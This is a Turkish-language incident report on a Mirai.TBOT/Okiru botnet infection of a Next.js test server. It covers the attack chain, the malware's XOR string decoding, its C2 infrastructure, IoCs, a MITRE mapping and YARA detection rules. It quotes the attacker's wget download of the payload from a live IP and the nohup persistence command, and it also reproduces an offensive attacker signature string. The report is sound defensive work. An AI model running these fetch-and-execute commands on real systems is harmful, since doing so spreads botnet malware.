Alpha Scramble: Gerçek Bir Olay Müdahalesi – Mirai Botnet Zararlı Yazılım Analizi
Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.
“Senaryo tamamen gerçektir ve belirli servis adlarının gizlenmesi haricinde bir değişiklik yapılmamıştır. Saldırı, yeni alınmış düşük ölçekli bir test sunucusunda yapılan hatalı yapılandırma (deploy) sebebiyle başarılı olmuştur; ancak olaydan kısa bir süre sonra sunucu izole edilerek temizlenmiştir.”
1. Yönetici Özeti
27 Şubat 2026 tarihinde, test sunucumuzda yer alan ve Next.js framework ile çalıştırılan XXXX websitesine yönelik başarılı bir Uzaktan Kod Çalıştırma (RCE) saldırısı tespit edilmiştir.
Saldırganlar sistemde var olan bir servis zafiyetinden yararlanarak dış bir kaynaktan zararlı bir ELF(Executable and Linkable Format) dosyasını sunucuya indirmiş ve www-data yetkileriyle çalıştırmıştır
Kapsamlı tersine mühendislik (reverse engineering) ve log analizleri sonucunda, yüklenen zararlı yazılımın Mirai.TBOT (veya Okiru) botnet ailesine ait değiştirilmiş bir varyant olduğu belirlenmiştir. Saldırının temel amacı, güvenlik açıkları bulunan sunucuyu bir DDoS botnet ağına (“zombi” ağ) katmak ve aynı zamanda hedeflenen diğer internete açık sistemleri (IoT ve web arayüzleri) içeriden tarayarak enfeksiyonu yaymaktır. Tespit sonrasında ilgili ağ bağlantıları engellenmiş, yalıtım (izolasyon) işlemleri uygulanmış ve detaylı kriminal inceleme aşamasına geçilmiştir
2. Zararlı Yazılım Profili
- File type: ELF 64-bit LSB executable, statically linked, not stripped, not UPX packed.
- Architecture: x86_64
- Hashes: MD5: 4b34c372a4510688429dd078960c9672 SHA1: 33853ea750bd5e5757ba5b3e05b20260f700e74f SHA256: fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e
- Yol (Hedef Sistem): /tmp ve/dev/shm
- Boyut: 82,964 Bytes
3. Enfeksiyon Zinciri ve Yeniden Oluşturma
Saldırı zinciri (Attack Chain) sistem kayıtlarına göre aşağıdaki aşamalarla gerçekleşmiştir:
- Kör Tarama (Blind Scanning) ve Başarısız Exploit Denemeleri: 16–27 Şubat 2026 tarihleri arasında saldırganlar tarafından hedefin Apache ve Nginx web servislerine yönelik çok sayıda HTTP GET/POST isteği gönderilmiştir. Bu isteklerde yaygın Router ve CGI zafiyetleri (örneğin
/device.rsp?opt=sys...,/cgi-bin/...,xmlrpc.phpve Path Traversal) denenmiştir. Ancak log analizlerine göre sunucu bu isteklere404 Not Foundve400 Bad Requestyanıtları dönmüş, yani bu zafiyetlerin hiçbiri başarılı olamamıştır. - Gerçek Bulaşma Noktası — Next.js RCE: Saldırganların otomatik taramaları (blind scan) başarısız olduktan sonra asıl sızma işlemi, sistemde çalışan
xxxxxxadlı Node.js/Next.js servisi üzerinden gerçekleştirilmiştir. Loglar saldırganın Next.js uygulamasındaki bir Uzaktan Kod Çalıştırma (RCE) zafiyetini (Command Injection) başarıyla sömürdüğünü kanıtlamaktadır. - RCE, 27 Şubat 2026 tarihinde internete açık 3001 portundaki
xxxxxxNext.js uygulamasında bulunan application-level command injection zafiyeti üzerinden alınmıştır. Saldırgan, otomatik exploit scripti ile PoC doğrulama işlemi gerçekleştirmiştir. - Payload Teslimatı:
xxxxxxservisi üzerinde kod çalıştırma yetkisi elde edildikten sonrawgetvb. yöntemlerle indirme işlemi gerçekleştirilmiş, zararlı yazılım sunucudan çekilmiştir (wget http://94.156.152[.]67/xdlol.x86_64). Daha önceki Router zafiyeti taramalarında dabbcadlı payload’u çekme denemeleri yapılmış olsa da, asıl enfeksiyonxdlol.x86_64ile gerçekleşmiştir. - Çalıştırma ve İz (Signature): İndirilen dosyaya yetkiler verildikten sonra çalıştırılmıştır. Uygulama başarılı şekilde komut icra ettiğinde RCE doğrulaması mahiyetinde ekrana
[+] RCE SUCCESS: gosh that chinese family at the other table sure ate a lot“imza” dizesini basmıştır. Bu çıktı, Next.js uygulamasının loglarında açıkça görülmektedir. - Rakip Botnetleri Temizleme (Killer): Zararlı, çalışır çalışmaz sistemde yer alabilecek diğer botnet enfeksiyonlarını (
xd.x86gibi süreçleri) sonlandırmak amacıylakillrutinlerini çalıştırmıştır.
4. Zararlı Yazılımın Statik Analizi
UPX ve Detect It Easy ile incelendiğinde, zararlının UPX gibi bir packer kullanmadığı (statically linked olduğu) ve ELF yapısının incelenebildiği görülmüştür
Strings incelemesi yapıldığında metinlerin bir kısmı anlamsız (şifreli) bir formda, bir kısmı ise okunabilir formatta bulunmaktadır.
ELF dosyası içindeki hassas metin tabanlı bilgilerin (parolalar, komutlar vb.) şifrelendiği görülmektedir. Metinler çalışma zamanında (runtime) table_unlock_val adlı fonksiyon üzerinden deşifre edilmektedir.
4.2 XOR Mekanizması
Şifreleme algoritması, sabit boyutlu veya stream (akış) bir cipher yerine “maskeleme” işlemi yürüten spesifik bir XOR mekanizmasından ibarettir:
- Zararlı, bellek içerisinde 20 elemanlı 32-bit bir anahtar dizisi (
table_keys) bulundurmaktadır. - Döngü, her bir byte’ın deşifre işleminde bu dizideki 32-bit anahtarı alır; 4 byte’ı da mantıksal XOR işlemine (
byte0 ^ byte1 ^ byte2 ^ byte3) tabi tutarak her byte için tek bir sabite indirger. - Bu işlem 20 anahtar döngüsünde yinelendiği için sonuçta tek bir kümülatif XOR anahtarı (örneğin tespit edilen
0x3Abaytı) üretilmesini sağlar.
4.3 Scanner Modülü
Zararlı yazılım, iç ve dış ağda potansiyel yeni kurbanlar bulmak için yoğun bir brute-force ve zafiyet tarama işlemi yapmaktadır: asus.c, dlink_scanner.c, linksys.c, gpon80_scanner.c, thinkphp.c, realtek.c. Ayrıca, POST /ctrlt/DeviceUpgrade_1 HTTP isteğini tetikleyerek ağdaki Huawei ev tipi zafiyetli ağ cihazlarını aktif olarak taradığı ve http://103.186.147[.]155/bins/mips üzerinden yeni enfeksiyonları tetiklediği gözlemlenmiştir.
4.4 UPnP Abuse ve Kalıcılık
Zararlı, bellek içerisinde var olan rakip zararlıları silmekle başlangıç yapar (killer_mirai_exists ve killer_kill_by_port(23)). /bins/kla.sh scripti indirilerek nohup sh kla.sh tbk >/dev/null 2>&1 & komutu ile arka planda çalıştırılır. Önemli not: nohup yalnızca oturum kapanmasına karşı koruma sağlar; sistem yeniden başlatıldığında (reboot) kalıcılık garantilemez. Nitekim analizin son aşamasında reboot sonrası kalıcılık doğrulanamamıştır. Yazılım kendini öncelikli olarak RAM diske (/dev/shm) kurarak disk üzerinde iz bırakmaktan kaçınmakta ve logları dışarı sızdırmaya odaklanmaktadır.
5. Komuta ve Kontrol (C2) Analizi
IP’ler: 94.156.152[.]67 (C2 ve Payload Download), 130.12.180[.]151
Portlar: C2 merkezi 8657, exploit payload yükleme (Dropper) amaçlı 80, 8080 ve 443.
Protokol: Şifrelenmiş TCP/UDP.
Communication pattern: Bulaşma ardından ana C2 sunucusuna “sistem pinglemesi” gönderilir; ardından bot beklemeye geçer. Merkeze attack_* sinyali geldiğinde DDoS saldırısını ve ağ içinde aktif taramaları eşzamanlı gerçekleştirir.
Görsel: C2 yapısı
6. Zararlı Yük (Payload) Dağıtım Altyapısı
Analizde tespit edilen dağıtım merkezleri sadece sızılan sistemi değil, yayılmacı doğası gereği diğer mimari (MIPS, ARM vb.) cihazları için de dosyaları barındırır. http://[IP]/file/bbc üzerinden indirilip sh ile çalıştırılan bootstrapper’lar mevcuttur. router.tplink.sh, kla.sh ve v.sh yükleyici scriptleri kullanılmaktadır.
7.Tespit Edilen Zafiyet Göstergeleri (IoC)
Ağ Göstergeleri (IP Adresleri ve Domainler)
- 94.156.152[.]67 (C2 / Payload Drop)
- 130.12.180[.]151 (Komut Dağıtım Kaynağı)
- 45.148.120[.]23 (Alternatif Drop Sunucusu)
- 185.236.25[.]204 (Alternatif Script Sunucusu)
- 103.186.147[.]155 (Huawei MIPS Payload URL Dağıtımı)
Dosya Özet Değerleri (x86_64 Varyantı)
- MD5: 4b34c372a4510688429dd078960c9672
- SHA1: 33853ea750bd5e5757ba5b3e05b20260f700e74f
- SHA256: fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e
VirusTotal Analiz Linkleri
C2 / Dropper IP Analizi (VirusTotal)
xdlol.x86_64 Zararlı Dosya Analizi (VirusTotal)
8. MITRE ATT&CK Eşleştirmesi
| Taktik | Teknik ID | Teknik Adı | Hedefte Gözlemlenen Davranış |
|---|---|---|---|
| İlk Erişim | T1190 | Exploit Public-Facing Application | device.rsp, Next.js RCE üzerinden web açıklarının exploit edilmesi. |
| Çalıştırma | T1059.004 | Command and Scripting Interpreter: Unix Shell | Web isteğine yerleştirilen bash komutlarının sömürülmesi (sh, bash). |
| Savunma Atlatma | T1140 | Obfuscated Files or Information | Hard-coded statik dizelerin kod içerisinde XOR şifrelenmesi. |
| Savunma Atlatma | T1562.001 | Impair Defenses: Disable or Modify Tools | Rakip botnet süreçlerinin (xd.x86 vb.) kill rutinleri ile sonlandırılması. T1489’dan farklı olarak bu eylem hedef sistemin yasal servislerini değil, rakip kötü niyetli süreçleri hedef almaktadır. |
| Keşif | T1046 | Network Service Discovery | Diğer ağ hizmetlerini (GPON, asus, huawei) exploit etmek üzere tarama. |
| Komuta ve Kontrol | T1071.001 | Application Layer Protocol: Web Protocols | C2 sunucusu üzerinden bağlantı kurma, zararlı script indirmeleri. |
| Etki | T1498 | Network Denial of Service | TCP, UDP flood metodolojileri ile dışarıya doğru botnet operasyon hizmetleri sağlama. |
9. YARA RULE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import "elf"
rule APT_Mirai_TBOT_Okiru_ELF_Payload {
meta:
description = "Detects Mirai.TBOT/Okiru-like ELF Linux payload (82KB profile; anchored on table_unlock_val + table_keys)"
author = "Özhan Yıldırım"
date = "2026-03-02"
hash_md5 = "4b34c372a4510688429dd078960c9672"
hash_sha256 = "fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e"
reference = "Mirai Botnet Incident Analysis Report"
severity = "High"
strings:
// Strong anchors (confirmed present in your sample)
$s_unlock = "table_unlock_val" ascii
$s_keys = "table_keys" ascii
// Killer module
$k1 = "killer_mirai_exists" ascii
$k2 = "killer_kill_by_port" ascii
$k_proc1 = "xdlol.x86_64" ascii
$k_proc2 = "xd.x86" ascii
// Scanner / propagation indicators
$sc1 = "gpon80_scanner" ascii
$sc2 = "thinkphp" ascii
$sc3 = "realtek" ascii
$sc4 = "linksys" ascii
$sc5 = "dlink" ascii
$sc6 = "asus" ascii
// IOC bonus signals (rotate fast)
$ip1 = "94.156.152.67" ascii
$ip2 = "130.12.180.151" ascii
$ip3 = "45.148.120.23" ascii
$ip4 = "185.236.25.204" ascii
$ip5 = "103.186.147.155" ascii
condition:
elf.is_elf and
(elf.type == elf.ET_EXEC or elf.type == elf.ET_DYN) and
// Sample profile: 82,964 bytes (~81KB). Tight band reduces FP.
filesize > 16KB and filesize < 256KB and
// Anchors must exist
($s_unlock and $s_keys) and
// At least one extra bucket to avoid generic hits
(
1 of ($k*) or
2 of ($sc*) or
1 of ($ip*)
)
}
-----------------------------------------------------------------------------------
rule APT_Mirai_TBOT_NextJS_RCE_And_Log_Artifacts {
meta:
description = "Detects Next.js RCE + Mirai.TBOT dropper/scanner artifacts in logs/scripts (ASCII or UTF-16LE safe)"
author = "Özhan Yıldırım"
date = "2026-03-02"
reference = "Mirai Botnet Incident Analysis Report"
severity = "High"
strings:
// High-confidence RCE success marker
$rce_sig = "[+] RCE SUCCESS: gosh that chinese family at the other table sure ate a lot" ascii wide
// Persistence / execution
$cmd_run = "nohup sh kla.sh tbk >/dev/null 2>&1 &" ascii wide
// Dropper artifacts
$p1 = "/bins/kla.sh" ascii wide
$p2 = "router.tplink.sh" ascii wide
$p3 = "/file/bbc" ascii wide
$pay = "xdlol.x86_64" ascii wide
// Scanner web requests
$req1 = "POST /ctrlt/DeviceUpgrade_1" ascii wide
$req2 = "/device.rsp?opt=sys" ascii wide
$req3 = "xmlrpc.php" ascii wide
condition:
// Any of these indicates compromise / tooling presence
$rce_sig or
$cmd_run or
2 of ($p*) or
($pay and 1 of ($req*))
}
10 Sonuç ve Öneriler
10.1 Teknik Sonuç Değerlendirmesi
Gerçekleştirilen analizler sonucunda olayın kök nedeni, internete açık konumda çalışan Next.js tabanlı xxxx servisinde bulunan bir Uzaktan Kod Çalıştırma (RCE) zafiyeti olarak belirlenmiştir. Saldırgan, başarısız router/CGI exploit denemelerinin ardından bu zafiyeti başarıyla sömürerek sistem üzerinde www-data yetkileriyle komut icra etmiştir.
Bu erişim üzerinden:
- xdlol.x86_64 adlı ELF payload indirilmiş,
- Çalıştırılmış,
- Sistem Mirai.TBOT (Okiru varyantı) botnet ağına dahil edilmiştir,
- C2 ile 8657 portu üzerinden haberleşme başlatılmış,
- İç ve dış ağ taramaları aktif hale getirilmiştir,
- Huawei UPnP ve IoT cihazlarına yönelik yayılma faaliyetleri başlatılmıştır,
- Rakip botnet süreçleri sonlandırılmıştır,
- Kalıcılık için
kla.shbetiği devreye alınmıştır.
Sunucu, olay anından itibaren:
- DDoS operasyonları için kullanılabilecek bir bot
- Aynı zamanda lateral yayılım için aktif bir tarama düğümü
konumuna evrilmiştir.
Olayın kapsamı, privilege escalation veya kernel seviyesinde kalıcı rootkit izine dair bir bulgu içermemektedir; enfeksiyon kullanıcı alanı (user-space) seviyesinde kalmıştır.
10.2 Önerilen İyileştirme ve Güvenlik Aksiyonları
Olayın teknik doğası dikkate alınarak aşağıdaki düzeltici ve önleyici aksiyonlar önerilmiştir:
- Next.js Servis Güvenliği
- RCE zafiyetinin yamalanması
- Servisin güncel LTS sürüme geçirilmesi
- Input validation ve command execution noktalarının yeniden tasarlanması
- Outbound Trafik Kontrolü
- Varsayılan outbound deny politikası uygulanması
- Sadece whitelist edilen hedeflere çıkış izni verilmesi
- 8657, 23, 2323 gibi IoT botnet portlarının bloklanması
- Dosya Sistemi Sıkılaştırması
- /tmp ve /dev/shm dizinlerinin noexec olarak mount edilmesi
- RAM disk üzerinden çalıştırılabilir payload riskinin azaltılması
- Least Privilege Modeli
- www-data kullanıcısının shell erişiminin kısıtlanması
- Servislerin ayrı kullanıcı konteynerlerinde izole edilmesi
10.3 Uygulanan Aksiyonlar (Yapılanlar)
Olay müdahalesi sürecinde aşağıdaki somut aksiyonlar uygulanmıştır:
- ✔ Etkilenen sistem ağdan izole edilmiştir.
- ✔ Aktif C2 bağlantıları firewall seviyesinde engellenmiştir.
- ✔ Tespit edilen IP adresleri blacklist’e alınmıştır.
- ✔ Zararlı dosya adli kopyalama (forensic acquisition) sonrası sistemden kaldırılmıştır.
- ✔ /root/ir dizini altında adli imaj ve hash doğrulaması alınmıştır.
- ✔ Next.js servisi durdurulmuş ve geçici olarak erişime kapatılmıştır.
- ✔ Olay zinciri log seviyesinde yeniden oluşturulmuştur.
- ✔ Zararlı binary tersine mühendislik analizi tamamlanmış, XOR anahtarı çıkarılmıştır.
- ✔ C2 ve payload dağıtım altyapısı haritalanmıştır.
- ✔ MITRE ATT&CK eşleştirmesi yapılmıştır.
- ✔ IoC listesi oluşturulmuş ve SOC birimine iletilmiştir.
Ek olarak:
- Sistem üzerinde kalıcı rootkit veya kernel hook izine rastlanmamıştır.
- Enfeksiyon RAM odaklı olduğu için reboot sonrası kalıcılık doğrulanmamıştır.
Kla.shbetiğinin yeniden tetiklenmediği teyit edilmiştir.







